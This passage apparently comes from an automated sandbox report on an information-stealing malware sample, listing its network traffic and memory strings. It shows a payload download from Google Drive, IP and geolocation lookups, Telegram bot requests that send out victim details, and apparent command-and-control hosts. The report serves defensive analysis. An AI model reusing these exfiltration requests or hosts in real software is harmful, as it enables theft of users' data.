Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1rPNxWKL8K9PUiAx5BBXPJ-bVegWrIRWE HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1rPNxWKL8K9PUiAx5BBXPJ-bVegWrIRWE&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=1rPNxWKL8K9PUiAx5BBXPJ-bVegWrIRWE&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:760639%0D%0ADate%20and%20Time:%2023/10/2024%20/%2001:23:39%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20760639%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:760639%0D%0ADate%20and%20Time:%2023/10/2024%20/%2001:23:59%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20760639%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: smtp.ionos.es

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 22 Oct 2024 14:12:18 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 22 Oct 2024 14:12:19 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: msiexec.exe, 00000008.00000002.3378029055.0000000021FE1000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022B02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: msiexec.exe, 00000008.00000002.3378029055.0000000021DF1000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: msiexec.exe, 00000008.00000002.3378029055.0000000021DF1000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: msiexec.exe, 00000008.00000002.3378029055.0000000021FF1000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3386020263.00000000242B0000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3386106679.00000000242E1000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3386170863.00000000242F8000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3384976953.0000000024BDF000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022B12000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3363263711.000000000710B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3384976953.0000000024BDA000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3384748715.0000000024B80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.geotrust.com/GeoTrustTLSRSACAG1.crt0
Source: msiexec.exe, 00000008.00000002.3378029055.0000000021FF1000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3386020263.00000000242B0000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3386106679.00000000242E1000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3386170863.00000000242F8000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3384976953.0000000024BDF000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022B12000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3363263711.000000000710B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3384976953.0000000024BDA000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3384748715.0000000024B80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cdp.geotrust.com/GeoTrustTLSRSACAG1.crl0v
Source: msiexec.exe, 00000008.00000002.3378029055.0000000021DF1000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: msiexec.exe, 00000008.00000002.3378029055.0000000021DF1000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000003.3118373989.00000000242EA000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: msiexec.exe, 00000009.00000002.3384976953.0000000024BDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/C7T
Source: powershell.exe, 00000004.00000002.2786466269.00000000078E5000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2786466269.000000000792C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: msiexec.exe, 00000008.00000002.3378029055.0000000021FF1000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3386020263.00000000242B0000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3386106679.00000000242E1000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3386170863.00000000242F8000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3384976953.0000000024BDF000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022B12000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3363263711.000000000710B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3384748715.0000000024B80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=
Source: Sprawl.exe, Sprawl.exe.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: Sprawl.exe, Sprawl.exe.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000002.00000002.2747850355.0000000005F08000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2766047897.00000000063D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: msiexec.exe, 00000008.00000002.3378029055.0000000021FF1000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3386020263.00000000242B0000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3386106679.00000000242E1000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3386170863.00000000242F8000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3384976953.0000000024BDF000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022B12000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3363263711.000000000710B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3384748715.0000000024B80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0B
Source: powershell.exe, 00000004.00000002.2754100744.00000000054C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.2725870722.0000000004EA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2754100744.0000000005371000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3378029055.0000000021DF1000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: msiexec.exe, 00000008.00000002.3378029055.0000000021FF1000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://smtp.ionos.es
Source: msiexec.exe, 00000008.00000002.3378029055.0000000021FF1000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3386020263.00000000242B0000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3386106679.00000000242E1000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3386170863.00000000242F8000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3384976953.0000000024BDF000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022B12000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3363263711.000000000710B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3384976953.0000000024BDA000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3384748715.0000000024B80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://status.geotrust.com0
Source: msiexec.exe, 00000008.00000002.3378029055.0000000021DF1000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: powershell.exe, 00000004.00000002.2754100744.00000000054C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: msiexec.exe, 00000008.00000002.3378029055.0000000021FF1000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3386020263.00000000242B0000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3386106679.00000000242E1000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3386170863.00000000242F8000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3384976953.0000000024BDF000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022B12000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3363263711.000000000710B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3384976953.0000000024BDA000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3384748715.0000000024B80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: msiexec.exe, 00000008.00000002.3382228709.00000000230F8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3382228709.0000000022E11000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3382107427.0000000023931000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3382107427.0000000023C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000002.00000002.2725870722.0000000004EA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2754100744.0000000005371000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: msiexec.exe, 00000008.00000002.3378029055.0000000021ED5000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.00000000229F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: msiexec.exe, 00000008.00000002.3378029055.0000000021ED5000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.00000000229F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: msiexec.exe, 00000008.00000002.3378029055.0000000021ED5000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.00000000229F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: msiexec.exe, 00000008.00000002.3378029055.0000000021ED5000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.00000000229F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:760639%0D%0ADate%20a
Source: msiexec.exe, 00000008.00000003.2935707844.00000000065F1000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000003.2936201345.00000000070FD000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000003.3006706894.00000000070FD000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3363263711.00000000070A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: msiexec.exe, 00000008.00000002.3382228709.00000000230F8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3382228709.0000000022E11000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3382107427.0000000023931000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3382107427.0000000023C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: msiexec.exe, 00000008.00000002.3382228709.00000000230F8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3382228709.0000000022E11000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3382107427.0000000023931000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3382107427.0000000023C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: msiexec.exe, 00000008.00000002.3382228709.00000000230F8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3382228709.0000000022E11000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3382107427.0000000023931000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3382107427.0000000023C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: msiexec.exe, 00000009.00000002.3378186894.0000000022AA6000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022AD7000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022A97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: msiexec.exe, 00000008.00000002.3378029055.0000000021F76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en8
Source: msiexec.exe, 00000008.00000002.3378029055.0000000021F80000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022AA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: powershell.exe, 00000004.00000002.2766047897.00000000063D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.2766047897.00000000063D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.2766047897.00000000063D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: msiexec.exe, 00000009.00000002.3362946153.0000000006F90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://drive.go
Source: msiexec.exe, 00000008.00000002.3362918549.000000000657A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3363263711.000000000704A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: msiexec.exe, 00000009.00000002.3363263711.000000000704A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1rPNxWKL8K9PUiAx5BBXPJ-bVegWrIRWE
Source: msiexec.exe, 00000009.00000002.3363263711.00000000070A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: msiexec.exe, 00000008.00000002.3362918549.00000000065E8000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000003.2985704004.00000000065F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/U
Source: msiexec.exe, 00000008.00000003.2935707844.00000000065F1000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3362918549.00000000065D8000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3362918549.00000000065E8000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000003.2985704004.00000000065F1000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3363263711.000000000708E000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000003.2936201345.00000000070FD000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000003.3006706894.00000000070FD000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3363263711.00000000070A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1rPNxWKL8K9PUiAx5BBXPJ-bVegWrIRWE&export=download
Source: msiexec.exe, 00000008.00000002.3382228709.00000000230F8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3382228709.0000000022E11000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3382107427.0000000023931000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3382107427.0000000023C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: msiexec.exe, 00000008.00000002.3382228709.00000000230F8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3382228709.0000000022E11000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3382107427.0000000023931000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3382107427.0000000023C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: msiexec.exe, 00000008.00000002.3382228709.00000000230F8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3382228709.0000000022E11000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3382107427.0000000023931000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3382107427.0000000023C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 00000004.00000002.2754100744.00000000054C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.2747850355.0000000005F08000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2766047897.00000000063D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: msiexec.exe, 00000008.00000002.3378029055.0000000021EAC000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3378029055.0000000021E3C000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3378029055.0000000021ED5000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.00000000229F5000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.000000002295C000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.00000000229CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: msiexec.exe, 00000008.00000002.3378029055.0000000021E3C000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.000000002295C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: msiexec.exe, 00000009.00000002.3378186894.0000000022987000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/173.254.250.76
Source: msiexec.exe, 00000008.00000002.3378029055.0000000021EAC000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3378029055.0000000021ED5000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3378029055.0000000021E67000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.00000000229F5000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.00000000229CC000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022987000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/173.254.250.76$
Source: msiexec.exe, 00000008.00000003.2935707844.00000000065F1000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000003.2936201345.00000000070FD000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000003.3006706894.00000000070FD000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3363263711.00000000070A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
